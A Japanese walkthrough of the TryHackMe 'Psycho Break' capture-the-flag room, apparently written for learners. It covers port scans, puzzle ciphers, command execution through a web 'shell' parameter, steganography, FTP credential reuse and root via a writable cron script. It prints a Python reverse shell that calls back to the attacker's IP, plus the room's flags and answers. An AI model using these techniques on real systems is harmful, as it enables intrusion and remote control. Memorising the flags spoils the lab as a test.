概要
TryHackMe「Psycho Break」のWalkthroughです。
Task1
Q2.How many ports are open?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.246.43 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:2f:fb:3b:f3:95:c3:c6:df:31:d6:e0:9e:99:92:42 (RSA)
| 256 92:24:36:91:7a:db:62:d2:b9:bb:43:eb:58:9b:50:14 (ECDSA)
|_ 256 34:04:df:13:54:21:8d:37:7f:f8:0a:65:93:47:75:d0 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome To Becon Mental Hospital
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | ProFTPD 1.3.5a |
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
A.3
Q3.What is the operating system that runs on the target machine?
ポートスキャンの結果からOSも分かりました。
A.ubuntu
Task2
Q1.Key to the looker room
80
番ポートにアクセスします。
ソースコードのコメントアウトから/sadistRoom
パスを発見しました。
<!-- Sebastian sees a path through the darkness which leads to a room => /sadistRoom -->
Locker Roomの鍵を発見できました。
A.532219a04ab7a02b56faafbec1a4c1ea
Q2.Key to access the map
Locker Roomへのリンクが表示されました。
キーを入力すると/lockerRoom
へ遷移しました。
Tizmg_nv_zxxvhh_gl_gsv_nzk_kovzhv
という文字列を得られました。
暗号の種類を調べるとアトバシュ暗号
の可能性が出てきました。
試しにアトバシュ暗号の復号を試みると成功しました。
A.Grant_me_access_to_the_map_please
Q3.The Keeper Key
マップページへのリンクがあるのでクリックすると鍵を求められました。
先ほど復号した文字列を入力するとリンクが表示されました。
/SafeHeaven
配下のディレクトリスキャンをすると/SafeHeaven/keeper
パスを発見しました。
$ gobuster dir -u http://10.10.244.67/SafeHeaven -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js -t 100
/keeper (Status: 301) [Size: 324] [--> http://10.10.244.67/SafeHeaven/keeper/]
Escape Keeper
ボタンをクリックすると新しいページに遷移しました。
画像の場所をこたえるようなので画像検索するとSt. Augustine lighthouse
だと分かりました。
A.48ee41458eb0b43bf82b986cecf3af01
Q4.What is the filename of the text file (without the file extension)
Hint.Escape from Laura to find it
/abandonedRoom
にアクセスし、入手した48ee41458eb0b43bf82b986cecf3af01
を入力します。
Go Further
ボタンから新しいページに遷移します。
ページソースのコメントアウトからshell
が使用できそうだと推測しました。
<!-- There is something called "shell" on current page maybe that'll help you to get out of here !!!-->
herecomeslara.php?shell=ls
のようなリクエストを送信するとディレクトリのファイルを表示できました。
herecomeslara.php?shell=ls ..
とすることで一つ上の階層のディレクトリも表示できました。
/abandonedRoom/680e89809965ec41e64dc7e447f175ab/
にアクセスし、テキストファイルをZIPファイルを入手しました。
A.you_made_it
Task3
Q1.Who is locked up in the cell?
helpme.zip
を取得します。
$ wget http://10.10.244.67/abandonedRoom/680e89809965ec41e64dc7e447f175ab/helpme.zip
解凍します。
$ unzip helpme.zip
Archive: helpme.zip
inflating: helpme.txt
inflating: Table.jpg
helpme.txt
の内容から答えがわかりました。
From Joseph,
Who ever sees this message "HELP Me". Ruvik locked me up in this cell. Get the key on the table and unlock this cell. I'll tell you what happened when I am out of
this cell.
A.joseph
Q2.There is something weird with the .wav file. What does it say?
helpme.zip
の中にあった、Table.jpg
に目を付けます。
マジックナンバーからZIPファイルの可能性が高いです。
拡張子をTable.zip
にし、解凍するとkey.wav
ファイルを得られました。
$ unzip Table.zip
Archive: Table.zip
inflating: Joseph_Oda.jpg
inflating: key.wav
key.wav
ファイルを開くとモールス信号になっています。
下記サイトでkey.wav
ファイルを解析すると、文字列が分かりました。
A.SHOWME
Q3.What is the FTP Username
Table.zip
から得た、Joseph_Oda.jpg
に注目します。
Password: SHOWME
でステガノグラフィーを解くと、テキストファイルを入手しました。
$ steghide extract -sf Joseph_Oda.jpg
Enter passphrase:
wrote extracted data to "thankyou.txt".
thankyou.txt
からFTPのクレデンシャル情報が分かりました。
From joseph,
Thank you so much for freeing me out of this cell. Ruvik is nor good, he told me that his going to kill sebastian and next would be me. You got to help
Sebastian ... I think you might find Sebastian at the Victoriano Estate. This note I managed to grab from Ruvik might help you get inn to the Victoriano Estate.
But for some reason there is my name listed on the note which I don't have a clue.
--------------------------------------------
// \\
|| (NOTE) FTP Details ||
|| ================== ||
|| ||
|| USER : joseph ||
|| PASSWORD : intotheterror445 ||
|| ||
\\ //
--------------------------------------------
Good luck, Be carefull !!!
A.joseph
Q4.What is the FTP User Password
A.intotheterror445
Task4
Q1.The key used by the program
FTPにログインします。
$ ftp 10.10.244.67
Connected to 10.10.244.67.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.244.67]
Name (10.10.244.67:kali): joseph
331 Password required for joseph
Password:
230 User joseph logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
2つのファイルを発見したのでダウンロードします。
ftp> ls
229 Entering Extended Passive Mode (|||44732|)
150 Opening ASCII mode data connection for file list
-rwxr-xr-x 1 joseph joseph 11641688 Aug 13 2020 program
-rw-r--r-- 1 joseph joseph 974 Aug 13 2020 random.dic
ftp> prompt
Interactive mode off.
ftp> mget *
program
を実行すると引数にワードが必要で、random.dic
の名前を判定できそうです。
$ ./program
[+] Usage
./program <word>
$ ./program james
james => Incorrect
引数を総当たりするコードを書きました。
import subprocess
with open('random.dic') as f:
for word in f:
print(word.rstrip('\n'))
w = word.rstrip('\n')
result = subprocess.run(f"/home/kali/Psycho-Break/program {w}",shell=True)
print(result)
実行するとkidman
が一致しました。
kidman
kidman => Correct
Well Done !!!
Decode This => 55 444 3 6 2 66 7777 7 2 7777 7777 9 666 777 3 444 7777 7777 666 7777 8 777 2 66 4 33
A.kidman
Q2.What do the crazy long numbers mean when there decrypted.
得られた数字がどの暗号か解析するとマルチタップを利用した暗号だと分かりました。
暗号を復号し、文字列を特定できました。
A.KIDMANSPASSWORDISSOSTRANGE
Task5
Q1.user.txt
Username: kidman
,Password: KIDMANSPASSWORDISSOSTRANGE
でSSHにログインします。
$ ssh kidman@10.10.51.240
kidman@evilwithin:~$
/home/kidman/user.txt
からユーザーフラグを入手できました。
4C72A4EF8E6FED69C72B4D58431C4254
A.4C72A4EF8E6FED69C72B4D58431C4254
Q2.root.txt
Cronジョブを確認します。
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root python3 /var/.the_eye_of_ruvik.py
/var/.the_eye_of_ruvik.py
の内容を確認します。
#!/usr/bin/python3
import subprocess
import random
stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
sentence = "".join(random.sample(stuff,1))
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
/var/.the_eye_of_ruvik.py
の権限を確認すると編集権限があります。
$ ls -la /var/.the_eye_of_ruvik.py
-rwxr-xrw- 1 root root 300 Aug 14 2020 /var/.the_eye_of_ruvik.py
リバースシェルのコードを追加しました。
#!/usr/bin/python3
import subprocess
import random
stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
sentence = "".join(random.sample(stuff,1))
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.6.55.144",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("bash")
Netcatでリッスンしているとrootでシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.51.240] 49246
root@evilwithin:~# whoami
whoami
root
/root/root.txt
からルートフラグを入手できます。
BA33BDF5B8A3BFC431322F7D13F3361E
A.BA33BDF5B8A3BFC431322F7D13F3361E
Q3.[Bonus] Defeat Ruvik
Hint.Delete user Ruvik account.
root権限を持っているのでそのままユーザーアカウントを削除します。
# userdel -r ruvik